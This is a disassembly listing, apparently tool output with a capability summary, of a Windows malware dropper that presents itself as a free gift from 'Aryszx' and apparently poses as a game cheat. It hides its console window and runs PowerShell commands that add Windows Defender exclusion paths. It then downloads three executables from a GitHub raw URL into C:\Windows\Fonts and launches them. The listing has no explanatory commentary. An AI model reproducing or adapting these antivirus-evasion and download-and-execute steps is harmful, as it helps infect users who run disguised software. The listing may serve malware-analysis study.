Function at 0x140003e20
Capabilities:
Create process on windows
Download url
Execute command
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x120
mov rax, qword [0x140017040]
xor rax, rsp
mov qword [rsp + 0x110], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
lea rdx, [0x140003590]
lea rcx, [rsp + 0x30]
call fcn.140001db0
nop
lea rcx, [rsp + 0x30]
call fcn.1400037e0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xfffffff0
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowLongA]
and eax, 0xfff4ffff
mov r8d, eax
mov edx, 0xfffffff0
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetWindowLongA]
lea rdx, [0x140003820]
lea rcx, [rsp + 0xa0]
call fcn.140001db0
nop
lea rcx, [0x140006560]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400041c0
mov r9d, 0x40
lea r8, str.Aryszx_Notification
lea rdx, str.This_Program_Was_Giving_Free_By_Aryszx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, str.powershell__Command_Add_MpPreference__ExclusionPath_C:WindowsFonts
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.powershell__Command_Add_MpPreference__ExclusionPath__temp_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.powershell__Command_Add_MpPreference__ExclusionPath__appdata_Windata
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.powershell__Command_Add_MpPreference__ExclusionPath__appdata_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.https:__raw.githubusercontent.com_sesafvr_ayo_refs_heads_main_Client_built.exe
lea rcx, [rsp + 0xb0]
call fcn.140002c20
nop
lea rdx, str.C:WindowsFonts_bypass.exe
lea rcx, [rsp + 0x40]
call fcn.140002c20
nop
lea rdx, str.https:__raw.githubusercontent.com_sesafvr_ayo_refs_heads_main_bypass2.exe
lea rcx, [rsp + 0xd0]
call fcn.140002c20
nop
lea rdx, str.C:WindowsFonts_bypass2.exe
lea rcx, [rsp + 0x60]
call fcn.140002c20
nop
lea rdx, str.https:__raw.githubusercontent.com_sesafvr_ayo_refs_heads_main_FiveM_20External.exe
lea rcx, [rsp + 0xf0]
call fcn.140002c20
nop
lea rdx, str.C:WindowsFontsFiveMExternal.exe
lea rcx, [rsp + 0x80]
call fcn.140002c20
lea rcx, [rsp + 0x40]
call fcn.140003780
mov rbx, rax
lea rcx, [rsp + 0xb0]
call fcn.140003780
xor edi, edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rsp + 0x60]
call fcn.140003780
mov rbx, rax
lea rcx, [rsp + 0xd0]
call fcn.140003780
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rsp + 0x80]
call fcn.140003780
mov rbx, rax
lea rcx, [rsp + 0xf0]
call fcn.140003780
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
call fcn.140003780
mov r8, rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [rsp + 0x60]
call fcn.140003780
mov r8, rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [rsp + 0x80]
call fcn.140003780
mov r8, rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x1f4
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3